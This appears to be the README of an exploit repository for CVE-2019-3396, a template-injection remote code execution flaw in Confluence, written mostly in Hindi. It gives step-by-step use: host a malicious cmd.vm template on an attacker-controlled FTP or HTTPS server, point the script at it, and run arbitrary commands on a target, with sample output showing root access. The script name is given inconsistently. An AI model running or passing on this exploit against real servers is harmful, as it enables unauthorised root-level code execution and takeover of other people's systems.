yt1g3r/cve-2019-3396_expCVE-2019-3396 confluence SSTI RCE
CVE-2019-3396 confluence SSTI RCE
1、अपनी वेबसाइट पर cmd.vm डालें (ftp या https का उपयोग करना अनिवार्य है, http काम नहीं करता)
2、RCE_exp.py को संशोधित करें, फ़ाइल नाम बदलें = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21）
3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)
